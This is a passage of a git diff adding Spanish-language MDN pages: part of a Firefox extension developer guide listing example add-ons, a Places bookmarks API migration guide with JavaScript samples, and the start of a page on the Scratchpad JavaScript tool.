+<p>Let's look at what features extensions can add, and some actual examples of extensions.</p>
+
+<h3 id="Extensiones_de_una_sola_función">Extensiones de una sola función</h3>
+
+<p>{{ TODO("Update this") }}.</p>
+
+<p>These are relatively simple extensions that add a single feature.</p>
+
+<dl>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/1939/" title="https://addons.mozilla.org/firefox/1939/">Text Link</a></dt>
+ <dd>Makes it so that double-clicking on an unlinked URL follows that URL.</dd>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/3082/" title="https://addons.mozilla.org/firefox/3082/">Undo Closed Tabs Button</a></dt>
+ <dd>Adds a toolbar button to re-open the most recently closed tabs to the History menu.</dd>
+</dl>
+
+<dl>
+ <dd><img alt="1211576231.png" class="default internal" src="/@api/deki/files/3316/=1211576231.png" style="height: 317px; width: 340px;"></dd>
+</dl>
+
+<dl>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/4014/" title="https://addons.mozilla.org/firefox/4014/">Locationbar</a></dt>
+ <dd>Separa el dominio y la ruta de la URL en la barra de localización para una lectura más fácil.</dd>
+ <dd><img alt="locationbar.png" class="default internal" src="/@api/deki/files/3317/=locationbar.png" style="height: 150px; width: 200px;"></dd>
+</dl>
+
+<h3 id="Feature_enhancing_extensions">Feature enhancing extensions</h3>
+
+<p>{{ TODO("Update this") }}.</p>
+
+<p>Estas extensiones amplían características ya disponibles en Firefox.</p>
+
+<dl>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/1122/" title="https://addons.mozilla.org/firefox/1122/">Tab Mix Plus</a></dt>
+ <dd>Ofrece configuración detallada sobre las pestañas.</dd>
+ <dt><a class="external" href="http://prefbar.mozdev.org/" title="http://prefbar.mozdev.org/">PrefBar</a></dt>
+ <dd>Ofrece acceso a numerosas preferencias sobre la barra de herramientas.<img alt="PrefBar.png" class="default internal" src="/@api/deki/files/3371/=PrefBar.png" style="height: 113px; width: 843px;"></dd>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/722/" title="https://addons.mozilla.org/firefox/722/">NoScript</a></dt>
+ <dd>Enables and disables JavaScript execution on a site-by-site basis.</dd>
+</dl>
+
+<h3 id="Extensiones_de_integración_con_aplicaciones_web">Extensiones de integración con aplicaciones web</h3>
+
+<p>{{ TODO("Update this") }}.</p>
+
+<p>The use the APIs of certain web applications to provide certain pieces of information.</p>
+
+<p><img alt="Forecastfox.png" class="default internal" src="/@api/deki/files/3372/=Forecastfox.png" style="height: 94px; width: 359px;"></p>
+
+<h3 id="New_feature_extensions">New feature extensions</h3>
+
+<p>{{ TODO("Update this") }}.</p>
+
+<p>Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability.</p>
+
+<dl>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/748/" title="https://addons.mozilla.org/firefox/748/">GreaseMonkey</a></dt>
+ <dt><a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=397735" title="http://forums.mozillazine.org/viewtopic.php?t=397735">UserChrome.js</a></dt>
+ <dd>Both of these provide an environment for running user scripts (JavaScript) in Firefox itself, where the scripts can target specific websites.</dd>
+</dl>
+
+<dl>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/1865/" title="https://addons.mozilla.org/firefox/1865/">Adblock Plus</a></dt>
+ <dd>Blocks the display of unwanted advertisements on web pages.</dd>
+ <dt><a class="link-https" href="https://addons.mozilla.org/firefox/12/" title="https://addons.mozilla.org/firefox/12/">All-in-One Gestures</a></dt>
+ <dd>Adds mouse-gesture functionality.</dd>
+</dl>
+
+<h3 id="Application_level_extensions">Application level extensions</h3>
+
+<p>{{ TODO("Update this") }}.</p>
+
+<p>These are sophisticated extensions that can be considered full-scale applications in their own right, essentially using Firefox as the development platform.</p>
+
+<p><img alt="Firebug.gif" class="default internal" src="/@api/deki/files/3373/=Firebug.gif" style="height: 336px; width: 712px;"></p>
+
+<h3 id="One-trick_gag_extensions">One-trick gag extensions</h3>
+
+<p>{{ TODO("Update this") }}.</p>
+
+<p>There are a number of one-trick gag extensions that aren’t very useful.</p>
+
+<p><img alt="Shiitake Mushroom (1).png" class="default internal" src="/@api/deki/files/3375/=Shiitake%20Mushroom%20(1).png" style="height: 150px; width: 200px;"></p>
+
+<p>This is a very brief survey of a few extensions, but there are many other unique extensions available.</p>
+
+<p><strong>Tabla 1: Métodos avanzados de personalización para Firefox</strong></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Método de personalización</td>
+   <td class="header">¿Funciona en sitios web?</td>
+   <td class="header">¿Funciona en Firefox?</td>
+  </tr>
+  <tr>
+   <td>Hojas de estilo de usuario (cambia la apariencia a través de CSS)</td>
+   <td>
+    <p>Sí; puedes cambiar el archivo <code>userContent.css</code>, o usar la extensión Stylish.</p>
+   </td>
+   <td>
+    <p>Sí; puedes cambiar el archivo <code>userChrome.css</code>,o usar la extensión Stylish.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Usar scripts (cambia la apariencia y funcionalidad a través de JavaScript)</td>
+   <td>
+    <p>Sí; puedes usar la extensión GreaseMonkey o "bookmarklets."</p>
+   </td>
+   <td>
+    <p>Sí; puedes cambiar <code>userChrome.js</code> para agregar funcionalidades a través de JavaScript.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Extensiones (pueden hacer cualquier cosa)</td>
+   <td>Sí</td>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <td>Temas (cambian la apariencia del explorador)</td>
+   <td>No</td>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Construyamos_una_extensión">Construyamos una extensión</h2>
+
+<p>La table 1 muestra varias opciones de personalización disponibles para los usuarios en Firefox. Tienen opciones de personalización flexibles, usando CSS en hojas de estilo de usuario y JavaScript/DOM en scripts de usuario (depende de Stylish, GreaseMonkey, y <code>userChrome.js</code>).</p>
+
+<p>Además de CSS y JavaScript, las extensiones pueden tomar ventaja de las tecnologías XUL y XPCOM para funciones más sofisticadas. Los temas, que alteran la apariencia de Firefox, son una clase de complemento.</p>
+
+<p>Para crear una extensión, neesitas una idea y un poco de habilidades de programación. Los siguientes capítulos explican en detalle las técnicas de escritura de extensiones de algunos de los principales autores de extensiones japoneses. Te alentamos a que pruebes suerta con ellas.</p>
+
+<div class="footnotes">
+<div class="note" id="footnote1"><a href="#from_footnote1">1</a> Uno de los autores de esta edición especial, Piro, es mundialmente conocido como uno de los desarrolladores originales.</div>
+</div>
+
+<dl>
+</dl>
+
+<p>{{ PreviousNext("Guía para el desarrollador de agregados para Firefox", "Guía para el desarrollador de agregados para Firefox/Tecnologías usadas en el desarrollo de extensiones") }}</p>
diff --git a/files/es/guía_para_la_migración_a_catálogo/index.html b/files/es/guía_para_la_migración_a_catálogo/index.html
new file mode 100644
index 0000000000..1c76c3bd88
--- /dev/null
+++ b/files/es/guía_para_la_migración_a_catálogo/index.html
@@ -0,0 +1,176 @@
+---
+title: Guía para la migración a catálogo
+slug: Guía_para_la_migración_a_catálogo
+tags:
+  - NeedsContent
+  - Places
+---
+<p>{{ Fx_minversion_header(3) }}
+Este documento es para los desarrolladores de aplicaciones y extensiones que tienen código los API de los marcadores y de el historial es Firefox 2 y anteriores y que están migrando a Firefox 3.
+</p>
+<h2 id="Visi.C3.B3n_general" name="Visi.C3.B3n_general">Visión general</h2>
+<p><a href="es/Cat%c3%a1logo">Catálogo</a> es un conjunto de API para la administración del historial de navegación y los meta datos de las URI. Esto incluye historial, marcadores, pestañas, favicons y anotaciones. Existen dos modelos de identidad en el sistema: URI e identificadores únicos para elementos del sistema de marcadores. Algunos de los API están centrados en URI, mientras que otros usan identificadores de elementos. La firma del API y su contexto, generalmente dejan claro qué modelo se requiere.
+</p>
+<h2 id="Marcadores" name="Marcadores"> Marcadores </h2>
+<p>El servicio del toolkit marcadores es {{ Source("toolkit/components/places/public/nsINavBookmarksService.idl", "nsINavBookmarksService") }}:
+</p>
+<pre>var bookmarks = Cc["@mozilla.org/browser/nav-bookmarks-service;1"].
+                getService(Ci.nsINavBookmarksService);
+</pre>
+<p>EL almacenamiento de los marcadores es jerárquico, sirviendo de modelo a las carpetas y su contenido. Varias carpetas significativas están disponibles como atributos de {{ Interface("nsINavBookmarksService") }}.
+</p>
+<ul><li> nsINavBookmarksService.placesRoot - La carpeta raíz de la jerarquía.
+</li><li> nsINavBookmarksService.bookmarksMenuFolder - El contenido de esta carpeta es visible en el menú Buscadores.
+</li><li> nsINavBookmarksService.toolbarFolder - El contenido de esta carpeta está visible en la barra de herramientas Marcadores.
+</li><li> nsINavBookmarksService.unfiledBookmarksFolder - Los elementos que han sido marcados con una estrella, pero que no están incluidos en ninguna carpeta.
+</li><li> nsINavBookmarksService.tagsFolder - Las sub carpetas de esta carpeta son pestañas y sus hijos son URI que han sido marcadas con ese naombre de carpeta.
+</li></ul>
+<p>Nota: Este documento cubre el servicio de tolkit Catálogo. Sin embargo, los desarrolladores de Firefox pueden aprovechar diversos API de ayuda que son específicos del navegador: </p>
+<ul><li> <a href="es/FUEL">FUEL</a>
+</li><li> {{ Source("browser/components/places/public/nsIPlacesTransactionsService.idl", "nsIPlacesTransactionsService") }}
+</li><li> <a href="es/Utilidades_Javascript_para_Cat%c3%a1logo">Utilidades_Javascript_para_Catálogo</a>
+</li></ul>
+<h3 id="Creaci.C3.B3n" name="Creaci.C3.B3n"> Creación </h3>
+<p>Crear un Marcador
+</p>
+<pre>// create an nsIURI for the URL to be bookmarked.
+var bookmarkURI = Cc["@mozilla.org/network/io-service;1"].
+                  getService(Ci.nsIIOService).
+                  newURI("http://www.mozilla.com", null, null);
+
+var bookmarkId = bookmarks.insertBookmark(
+  bookmarks.toolbarFolder, // El Id de la carpeta donde se guardará el marcador.
+  bookmarkURI,             // La URI del marcador - un objeto nsIURI.
+  bookmarks.DEFAULT_INDEX, // La posición del marcador en su carpeta padre.
+  "my bookmark title");    // El título del marcador.
+</pre>
+<p>Crear una carpeta
+</p>
+<pre>var folderId = bookmarks.createFolder(
+  bookmarks.toolbarFolder, // La id de la carpeta donde se guardará la nueva carpeta.
+  "my folder title",       // El título de la nueva carpeta.
+  bookmarks.DEFAULT_INDEX);    // La posición de la nueva carpeta en su carpeta padre.
+</pre>
+<p>Crear un separador
+</p>
+<pre>var separatorId = bookmarks.insertSeparator(
+  bookmarks.toolbarFolder, // La id de la carpeta donde será puesto el separador.
+  bookmarks.DEFAULT_INDEX);    // La posición del separador en su carpeta padre.
+</pre>
+<p>Crear un marcador dinámico
+</p>
+<pre>var IOService = Cc["@mozilla.org/network/io-service;1"].
+                  getService(Ci.nsIIOService);
+
+var siteURI = IOService.newURI("http://www.mozilla.com", null, null);
+var feedURI = IOService.newURI("http://www.mozilla.org/news.rdf", null, null);
+
+var livemarks = Cc["@mozilla.org/browser/livemark-service;2"].
+                getService(Ci.nsILivemarkService);
+
+livemarks.createLivemark(bookmarks.toolbarFolder, // La id de la carpeta donde será almacenado el marcador dinámico
+  "My Livemark Title",        // El título del marcador dinámico
+  siteURI,                    // La URI del sitio. Un objeto nsIURI.
+  feedURI,                    // La URI del Canal. Un objeto nsIURI.
+  bookmarks.DEFAULT_INDEX);   // La posición del marcador dinámico en su carpeta padre.
+</pre>
+<h3 id="Lectura" name="Lectura"> Lectura </h3>
+<h4 id="Propiedades_de_los_elementos" name="Propiedades_de_los_elementos">Propiedades de los elementos</h4>
+<p>Para todos los elementos:
+</p>
+<ul><li> String getItemTitle(aItemId) - XXX
+</li><li> Int64 getItemIndex(aItemId) - XXX
+</li><li> PRTime getItemType(aItemId) - XXX
+</li><li> PRTime getItemDateAdded(aItemId) - XXX
+</li><li> PRTime getItemLastModified(aItemId) - XXX
+</li><li> Int64 getFolderIdForItem(aItemId) - Devuelve la id de la carpeta que contienen el elemento dado.
+</li><li> String getItemGUID(aItemId) - Devuelve un identificador global único del elemento. Esto se usa principalmente en las extensiones, para sincronizar los datos de los marcadores entre diferentes perfiles.
+</li></ul>
+<p>Para marcadores:
+</p>
+<ul><li> nsIURI getBookmarkURI(aItemId) - XXX
+</li><li> String getKeywordForBookmark(aItemId) - XXX
+</li></ul>
+<p>Para carpetas:
+</p>
+<ul><li> Int64 getChildFolder(aFolderId, aSubfolderTitle) - Devuelve la id de la primera sub carpeta que coincide con el título dado.
+</li><li> Int64 getIdForItemAt(aFolderId, aPosition) - Devuelve la id del elemento en la posición determinada .
+</li><li> Bool getFolderReadonly(aFolderId)
+</li></ul>
+<h4 id="Contenido_de_las_carpetas" name="Contenido_de_las_carpetas">Contenido de las carpetas</h4>
+<p>Las consultas en Catálogo se ejecutan a través del servicio principal de historial. El ejemplo siguiente, muestra como listar el contenido de una carpeta de Marcadores y cómo acceder a las propiedades de cada elemento.
+</p>
+<pre>var history = Cc["@mozilla.org/browser/nav-history-service;1"].
+              getService(Ci.nsINavHistoryService);
+var query = history.getNewQuery();
+query.setFolders([myFolderId], 1);
+
+var result = history.executeQuery(query, history.getNewQueryOptions());
+
+// La propiedad raíz del resultado de una consulta es un objeto representando la carpeta que especificaste.
+var folderNode = result.root;
+
+// Abre la carpeta y actúa reiterativamente con su contenido.
+folderNode.containerOpen = true;
+for (var i=0; i &lt; folderNode.childCount; ++i) {
+  var childNode = folderNode.getChild(i);
+
+  // Algunas propiedades del elemento.
+  var title = childNode.title;
+  var id = childNode.itemId;
+  var type = childNode.type;
+
+  // Algunas acciones específicas del tipo.
+  if (type == Ci.nsINavHistoryResultNode.RESULT_TYPE_URI) {
+
+    var uri = childNode.uri;
+
+  }
+  else if (type == Ci.nsINavHistoryResultNode.RESULT_TYPE_FOLDER) {
+
+    childNode.QueryInterface(Ci.nsINavHistoryContainerResultNode);
+    childNode.containerOpen = true;
+    // ahora puedes actuar reiterativamente sobre el 'hijo' de una carpeta.
+
+  }
+}
+</pre>
+<p>Hay documentación sobre otros tipos de nodo disponible en <a class="external" href="http://mxr.mozilla.org/seamonkey/source/toolkit/components/places/public/nsINavHistoryService.idl">IDL</a>.
+</p>
+<h4 id="B.C3.BAsqueda" name="B.C3.BAsqueda">Búsqueda</h4>
+<h3 id="Actualizaci.C3.B3n" name="Actualizaci.C3.B3n">Actualización</h3>
+<p>Para todos los elementos:
+</p>
+<ul><li> setItemTitle(aItemId, aTitle) - Cambia el título de un elemento.
+</li><li> setItemIndex(aItemId, aIndex) - Cambia la posición de un elemento. NOTA: este no cambia los indices de toda la carpeta - para una solución administrada, usa moveItem.
+</li><li> setItemDateAdded(aItemId, aDateAdded) - Ajusta la fecha en que fue añadido el elemento por primera vez, en micro segundos.
+</li><li> setItemLastModified(aItemId, aLastModified) - Ajusta la fecha en que fue añadido el elemento por última vez, en micro segundos.
+</li><li> setItemGUID(aItemId, aGUID) - Devuelve un identificador global único del elemento. Esto se usa principalmente en las extensiones, para sincronizar los datos de los marcadores entre diferentes perfiles.
+</li><li> moveItem (aFolderId, aNewParentId, aIndex) - Mueve un elemento de una carpeta a otra.
+</li></ul>
+<p>Para marcadores:
+</p>
+<ul><li> changeBookmarkURI(aItemId, aURI) - Cambia la URI del marcador.
+</li><li> setKeywordForBookmark(aItemId, aKeyword) - Ajusta la palabra-clave para el marcador.
+</li></ul>
+<h3 id="Borrado" name="Borrado">Borrado</h3>
+<ul><li> Elementos
+</li><li> Contenedores
+</li></ul>
+<h3 id="Observar" name="Observar">Observar </h3>
+<h3 id="Importar.2FExportar_en_formato_HTML" name="Importar.2FExportar_en_formato_HTML">Importar/Exportar en formato HTML</h3>
+<h3 id="Respaldo.2FRestauraci.C3.B3n" name="Respaldo.2FRestauraci.C3.B3n">Respaldo/Restauración</h3>
+<h3 id="Nuevo" name="Nuevo">Nuevo</h3>
+<ul><li> Pestañas
+</li><li> Anotaciones
+</li><li> Búsquedas guardadas
+</li><li> Contenedores dinámicos
+</li></ul>
+<h2 id="Historia" name="Historia">Historia</h2>
+<h3 id="Agregar" name="Agregar">Agregar</h3>
+<h3 id="Consultas" name="Consultas">Consultas</h3>
+<h3 id="Observar_2" name="Observar_2">Observar</h3>
+<h3 id="Nuevo_2" name="Nuevo_2">Nuevo</h3>
+<div class="noinclude">
+</div>
+{{ languages( { "es": "es/Lugares/Gu\u00eda_para_migraci\u00f3n_con_lugares", "fr": "fr/Guide_de_migration_vers_Places", "ja": "ja/Places/Migration_Guide", "en": "en/Places_migration_guide" } ) }}
diff --git a/files/es/herramientas/borrador/index.html b/files/es/herramientas/borrador/index.html
new file mode 100644
index 0000000000..462db27e62
--- /dev/null
+++ b/files/es/herramientas/borrador/index.html
@@ -0,0 +1,56 @@
+---
+title: Borrador
+slug: Herramientas/Borrador
+tags:
+  - Desarrollo_Web
+  - 'Desarrollo_Web:Herramientas'
+  - Herramientas
+translation_of: Archive/Tools/Scratchpad
+---
+<div class="warning">
+ Aunque el equipo de localización de Mozilla Hispano trabaja para mantener esta página continuamente actualizada, es posible que la página en inglés tenga contenidos nuevos que no aparecen registrados aquí. Si quieres ver el artículo en inglés, haz clic en Idiomas y selecciona <em>English </em>en el menú desplegable.</div>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">La herramienta Borrador integrada en Firefox 6 y en versiones posteriores proporciona un entorno de práctica para experimentar con el código JavaScript.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Puedes escribir código que puede interactuar con el contenido de una página web y probar así las ideas antes de cambiar a tus herramientas de desarrollo web habituales para escribir el código final.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">O puedes utilizarlo para retocar y jugar con los sitios web existentes.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">A diferencia de la <a>Consola web</a>, que está diseñada para la interpretación de una sola línea de código a la vez, Borrador te permite editar grandes trozos de código JavaScript y después ejecutarlo de varias formas dependiendo de cómo desees utilizar el resultado.</span></span></p>
+<h2 id="Cómo_usar_Borrador"><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Cómo usar Borrador</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Para abrir la ventana de Borrador, ve al menú Desarrollador web (que es un submenú en el menú Herramientas en Mac) y, a continuación, selecciona Borrador.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esto abrirá una ventana del editor Borrador, que incluye un comentario que ofrece una breve información acerca de cómo usarlo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">A partir de ahí, puedes ya empezar a escribir algo de código JavaScript para probar.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">La ventana de Borrador tiene este aspecto (en Windows y Linux, también tienes la barra de menú allí, mientras que en Mac, la barra de menús está en la parte superior de la pantalla, como de costumbre):</span></span></p>
+<p><img alt="scratchpad.png" class="internal default" src="/@api/deki/files/5566/=scratchpad.png" style=""></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">En la parte inferior, aparece el ámbito de ejecución actual de tu código, en este caso, se trata de "Contenido", es decir, el contenido de la página actual.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Consulta {{ anch ("Alcance de Borrador") }} si necesitas tener más detalles.</span></span></p>
+<div class="geckoVersionNote">
+ {{ gecko_callout_heading("10.0") }}
+ <p>Gecko 10.0 {{ geckoRelease("10.0") }} sustituyó el editor de Borrador por <a class="external" href="http://eclipse.org/orion/" title="http://eclipse.org/orion/">Orion</a>, que proporciona subrayado de sintaxis, mejoras en la sangría y otras características. Además, el contenido de la ventana Borrador se guarda usando la función de restaurar sesión de Firefox, por lo que ahora es persistente en todos los reinicios de Firefox.</p>
+</div>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">El menú Archivo ofrece opciones para guardar y cargar los fragmentos de código JavaScript, por lo que se puede reutilizar el código más tarde si lo deseas.</span></span></p>
+<h3 id="Ejecutar_tu_código"><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Ejecutar tu código</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Una vez que hayas escrito el código, selecciona el código que deseas ejecutar y, a continuación, haz clic (o ve al menú Ejecutar en la barra de menús) y elige la forma en que deseas ejecutar el código.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Hay tres opciones de ejecución disponibles.</span></span></p>
+<div class="note">
+ <span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Nota: si no seleccionas nada, se ejecutará todo el código en la ventana.</span></span></div>
+<h4 id="Ejecutar_(Run)"><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Ejecutar (Run)</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Cuando eliges la opción Ejecutar, se ejecuta el código seleccionado.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esto es lo que utilizarías para ejecutar una función u otro código que manipula el contenido de tu página.</span></span></p>
+<h4 id="Inspeccionar_(Inspect)"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Inspeccionar (Inspect)</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">La opción Inspeccionar ejecuta el código al igual que la opción Ejecutar; sin embargo, después de que se devuelva el código, se abre un inspector de objetos para que puedas examinar el valor devuelto.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Por ejemplo, si introduces el código:</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">window</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">A continuación, seleccionas Inspeccionar, obtienes una ventana de inspector que puede ser algo así:</span></span></p>
+<p><img alt="inspector.png" class="internal default" src="/@api/deki/files/5565/=inspector.png" style=""></p>
+<h4 id="Mostrar_(Display)"><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Mostrar (Display)</span></span></h4>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">La opción Mostrar ejecuta el código seleccionado y, a continuación, inserta el resultado directamente en la ventana del editor Borrador como un comentario.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esta es una forma cómoda de mantener un registro de los resultados de las pruebas mientras se trabaja.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">También puedes utilizarlo como una calculadora, en un apuro, aunque si no tienes un programa de calculadora mejor, puedes tener problemas.</span></span></p>
+<h2 id="Limpiar">Limpiar</h2>
+<p>Puedes restablecer todas las variables seleccionando la opción "Restablecer variables" en el menú Ejecutar o en el menú contextual que aparece al hacer clic con el botón secundario en la ventana Borrador.</p>
+<h2 id="Escenarios_de_uso_de_Borrador"><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Escenarios de uso de Borrador</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Hay muchas maneras en que Borrador puede resultar útil.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esta sección trata algunas de ellas.</span></span></p>
+<h3 id="Probar_código_nuevo"><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Probar código nuevo</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Borrador es especialmente útil para probar código nuevo en un entorno de navegador en vivo, puedes copiar </span></span><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">en Borrador </span></span><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">el código que estés depurando  y ejecutarlo, y luego ajustarlo hasta que funcione.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Una vez que funcione, se copia en el archivo de código principal y ya está.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">En muchos casos, se puede escribir, depurar y probar el código sin tener que recargar la página.</span></span></p>
+<h3 id="Fragmentos_de_código_reutilizables"><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Fragmentos de código reutilizables</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">La barra de menús de Borrador ofrece instrucciones o comandos para guardar y cargar el código JavaScript.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esta instalación se puede utilizar para tener a mano los bits de código JavaScript que utilizas a menudo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Por ejemplo, si estás trabajando en un sitio que utiliza peticiones AJAX para cargar los datos, puedes tener a mano fragmentos que llevan a cabo las operaciones de carga para probar o verificar los datos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Del mismo modo, puedes tener a mano las funciones de depuración útiles de uso general, tales como las funciones que vierten cierto tipo de información acerca del DOM.</span></span></p>
+<h2 id="Alcance_de_Borrador"><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Alcance de Borrador</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">El código que ejecutas en Borrador se ejecuta en un entorno limitado que tiene acceso a todo en tu página, pero no filtrará nuevas variables a la página.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si expresamente quieres poner las variables en tu página, puedes hacerlo poniéndolas en el objeto {{ domxref ("window") }}:</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">window.myVariable = value;</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">El nuevo valor <code>window.myVariable</code>, en este caso, es accesible para los scripts que se ejecutan en la página.</span></span></p>
+<div class="note">
+ <span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr"><strong>Nota:</strong> este entorno limitado funciona igual que <a>la Consola web</a>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Sin embargo, a diferencia de la Consola web, el Borrador te sigue de una pestaña a otra, el código que ejecutas en él siempre lo hace en la pestaña actual de la ventana del navegador en primer plano.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esto puede usarse, por ejemplo, para realizar la misma prueba en varios servidores.</span></span></div>
+<h3 id="Cómo_usar_Borrador_para_acceder_a_información_interna_de_Firefox"><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Cómo usar Borrador para acceder a información interna de Firefox</span></span></h3>
